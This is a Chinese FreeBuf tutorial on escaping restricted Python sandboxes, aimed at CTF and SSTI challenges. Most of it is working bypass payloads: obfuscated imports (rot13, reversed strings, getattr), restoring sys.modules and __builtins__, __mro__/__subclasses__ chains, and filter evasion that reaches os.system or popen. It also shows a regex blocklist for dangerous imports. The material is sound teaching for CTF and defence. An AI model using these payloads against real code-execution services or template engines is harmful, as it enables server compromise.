freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

python沙盒逃逸那些事
2023-05-15 17:24:20
所属地 广东省

说到 python 安全,必然绕不开的就是沙盒逃逸了。

在之前的比赛中,不断有接触到SSTI类型的题目,而主办方往往也会出一些难度较大的模板注入,这里就常考到沙盒逃逸,当然,沙盒逃逸不仅仅在SSTI中使用到。

本文将主要以python沙盒逃逸作为技术基点进行分析与探讨。

此处的沙箱逃逸 代表的意思是 从一个被阉割和做了严格限制的python执行环境中获取到更高的权限,甚至getshell。

沙盒逃逸原理及概述

沙盒,亦称沙箱,在早期主要用于对可疑文件进行测试以及对于病毒危害程度进行测试,现如今已经发展到对网站进行对物理机的隔离,类似于虚拟机的使用。

而沙盒逃逸,就是要在一个受限的代码执行环境下,脱离各种过滤和限制,拿到更高权限乃至getshell

对于python的沙盒逃逸而言,我们想实现目的的最终想法有以下几个。

  • 使用os包中的popen,system两个函数来直接执行shell

  • 使用commands模块中的方法

  • 使用subprocess

  • 使用写文件到指定位置,再使用其他辅助手段

import os
import subprocess
import commands

# 直接输入shell命令,以ifconfig举例
os.system('ifconfig')
os.popen('ifconfig')
commands.getoutput('ifconfig')
commands.getstatusoutput('ifconfig')
subprocess.call(['ifconfig'],shell=True)

但是很明显防御者不会这么容易给我们用,肯定会有各种过滤对代码进行各种各样的检查,来阻止可能的进攻,那我们该怎么做呢。

命令执行

在 Python 中执行系统命令的方式有:

os

commands:仅限2.x

subprocess

timeit:timeit.systimeit.timeit("__import__('os').system('whoami')", number=1)

platform:platform.osplatform.sysplatform.popen('whoami', mode='r', bufsize=-1).read()

pty:pty.spawn('ls')pty.os

bdb:bdb.oscgi.sys

cgi:cgi.oscgi.sys

...

可以写个脚本,枚举一下所有的导入os或者sys的库。

如果 oj 支持import的话,这些库都是高危的,放任不管基。上是坐等被日。所以为了避免过滤不完善导致各种问题,在 Python 沙箱套一层 docker 肯定不会是坏事。

import基础防御绕过

对于防御者来说,最基础的思路,就是对代码的内容进行检查。
最常见的方法呢,就是禁止引入敏感的包

import re
code = open('code.py').read()
pattern  = re.compile('import\s+(os|commands|subprocess|sys)')
match = re.search(pattern,code)
if match:
    print "forbidden module import detected"
    raise Exception

就这样即可简单地完成对敏感的包的检测。

我们知道,要执行shell命令,就得需要引入os/commands/subprocess这几个包。

所以作为攻击者的我们就得需要找到其他办法进行包的引入。

  1. import 关键字:

import  os
import   os
import    os
...
  1. __import__函数:__import__('os')

  2. importlib库:importlib.import_module('os').system('ls')

再让我们想一想import的原理是什么。

import实质就是执行一遍导入的库,那我们是不是也可以直接调用库,进而绕过对import的过滤。

execfile('/usr/lib/python2.7/os.py')
system('ls')
#2.x
with open('/usr/lib/python3.6/os.py','r') as f:
    exec(f.read())
system('ls')
#2.x/3.x

这是需要知道路径的,但是大多数类unix系统环境下,模块的路径都是/usr/lib/pythonx.x/os.py

当然,如果sys还在的话,可以确认一下。

import sys
print(sys.path)

花式处理字符串

沙箱中往往会禁止一些危险的字符串出现,比如os、eval等。但是可以通过花式处理字符串的方法,例如逆序、变量拼接、base64、hex、rot13...等等。

import 是一个关键字,因此,包的名字是直接以 'tag'(标记)的方式引入的,但是对于函数和包来说,引入的包的名字就是他们的参数,也就是说,将会以字符串的方式引入。

所以我们可以对原始关键字进行处理以绕过源码扫描。

  • __import__函数举例。

black = __import__("pbzznaqf".decode('rot_13'))
print black.getoutput('ifconfig')
#commands-->pbzznaqf
  • 或者使用importlib。

import importlib
black = importlib.import_module("pbzznaqf".decode('rot_13')
print black.getoutput('ifconfig')

再例如用逆序。

__import__('so'[::-1]).system('ls')

还可以用到exec和eval。

eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])
exec(')"imaohw"(metsys.so ;so tropmi'[::-1])

image

恢复 sys.modules

sys.modules其实是一个字典,里面存储了加载过的模块信息。如果 Python 是刚启动的话,所列出的模块就是解释器在启动时自动加载的模块。有些库例如os是默认被加载进来的,但是不能直接使用,原因在于 sys.modules 中未经 import 加载的模块对当前空间是不可见的。

所以当防御者将os从sys.modules中移除时,os就没法用了。

>>> sys.modules['os'] = 'not allowed'
>>> import os
>>> os.system('ls')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: 'str' object has no attribute 'system'
>>>

但我们可以利用import加载模块的特性,重新加载回来。

Python import 的步骤
python 所有加载的模块信息都存放在 sys.modules 结构中,当 import 一个模块时,会按如下步骤来进行。
如果是 import A,检查 sys.modules 中是否已经有 A,如果有则不加载,如果没有则为 A 创建 module 对象,并加载 A。
如果是 from A import B,先为 A 创建 module 对象,再解析A,从中寻找B并填充到 A 的 dict 中。

同时,当删掉了sys.modules['os'],会让 Python 重新加载一次 os。

sys.modules['os'] = 'not allowed' # oj 为你加的

del sys.modules['os']
import os
os.system('ls')

还可以直接导入os模块。

>>> import sys
>>> sys.modules['os']='/usr/lib/python3.9/os.py'
>>> import os

还有__builtins__的导入方法。

(lambda x:1).__globals__['__builtins__'].eval("__import__('os').system('ls')")
(lambda x:1).__globals__['__builtins__'].__dict__['eval']("__import__('os').system('ls')")

花式执行函数

如果system函数被禁止了,即无法通过os.system执行系统命令,且system也无法通过处理字符串的方法来实现,所以要想其他的途径来解决这一问题。

  1. os模块中能执行系统命令的函数还有很多。

print(os.system('whoami'))
print(os.popen('whoami').read()) 
print(os.popen2('whoami').read()) # 2.x
print(os.popen3('whoami').read()) # 2.x
print(os.popen4('whoami').read()) # 2.x
...
  1. 其次,还可以通过getattr、getattribute拿到对象的方法、属性。

这个函数接受两个参数,一个模组或者对象,第二个是一个字符串,该函数会在模组或者对象下面的域内搜索有没有对应的函数或者属性。

import os
getattr(os, 'metsys'[::-1])('whoami')
#如果ban了import
getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami')

getattr相似的还有__getattr____getattribute__,它们自己的区别就是getattr相当于class.attr,都是获取类属性/方法的一种方式,在获取的时候会触发__getattribute__,如果__getattribute__找不到,则触发__getattr__,还找不到则报错。

builtinbuiltins

先说一下,builtinbuiltins__builtin____builtins__的区别:在python中,存在一些不需要任何import即可使用的函数,如chr、open等,这都得益于python的内建模块,亦称内建命名空间,它包含了一些常用函数、变量和类。

而在2.x中,内建模块被命名为__builtin__,而在3.x中,则变成了builtins。

两者都需要import。

#2.x
>>import __builtin__
>>__builitin__

image

#3.x
>>> import builtins
>>> builtins

image

但是,对于2.x和3.x,__builtins__两者都有。

如果builtins内部的reload没被删除,可以使用reload恢复__builtins__,从而恢复__builtins__中被删除的危险函数(eval…),如果连reload都从__builtins__中删了,就没法恢复__builtins__了,需要另寻他法。

2.x 的reload是内建的,3.x 需要import imp,然后再imp.reload

通过继承关系逃逸

首先,我们要理解python的继承机制,与java等语言不同,python是支持多重继承的,也就是可以拥有多个父类。

python中新式类都有个属性(mro)是一个元组,记录了类的继承关系。

>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)

这里说的继承,注意是类型,而不是类型的实例

通过这种方法,我们可以得到一些类型的对象,这个对于一些限制极严的情况下有很大的用处。

  • 比如说当一些文件操作的函数和类型被过滤的情况下,我们就可以使用以下这段payload。

"".__class__.__mro__[-1].__subclasses__()[40](filename).read()

类似的还有很多,这就不一一例举了。

在SSTI中,由于不同模板的渲染方法不同,往往也会带来不同的使用方式。

比如说jinjia2的模板中,环境变量中的很多builtin的类型是没有的,就可以利用到绑定了的变量的mro特性去实现很多功能,甚至getshell。

总结而言:
1.通过__class__、mro、subclasses、__bases__等等属性/方法去获取 object.
2.根据__globals__找引入的__builtins__或者eval等等能够直接被利用的库,或者找到builtin_function_or_method类/类型
3.__call__后直接运行eval

文件读写

在2.x中,有个内建的file可以直接读取文件。

image

但是在3.x中file被移除了,可以用open(2.x/3.x通用)

还有一些库可以实现读写

  • types.FileType(rw)

  • platform.popen(rw)

  • linecache.getlines(r)

当我们可以直接写文件时,不妨先把类似的文件保存写好(xx.py),然后再import(或其他方法)引用进来。

xx.py:         #注:xx命名最好要挑选一个常用的标准库的名字,因为过滤的库名可能采用的是白名单的方式。但是不能和sys.modules中的库重复。否则无法正常利用,python会直接从sys.modules中加入
	import os
	print(os.system('whoami'))
>>> import math
root
>>> 're' in sys.modules

True

'math' in sys.modules
False

杂项

沙箱中还可能会过滤[]两个符号。对于这种情况就需要用pop__getitem__代替[]两个符号缺少带来的影响(实际上a[0]就是在内部调用了a.__getitem__(0))。

ctf就特别喜欢考这些

#python2.x
>>>''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.get('linecache').os.popen('whoami').read()
'root\n'
#python 3.6以后可以使用新特性 f-string
>>> f'{__import__("os").system("whoami")}'
root
'0'

还有序列化相关的逃逸,这个我之前的文章已经有所谈及,网上也很多这类型的。

应用场景

  • 直接的代码环境
    常见的就是一些提供在线代码运行的网站,还有一些虚拟环境,甚至某些校内模拟操作系统(...),这种的过滤一般较少,但也一般是会与物理机进行隔离。

  • 提供的python交互式shell

  • SSTI
    这个就很多了,不同模板渲染都有不同的环境,而且一般框架都是直接构建在物理机上,一旦getshell可以拿到很大的权限。

# web安全 # CTF # 沙盒逃逸
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录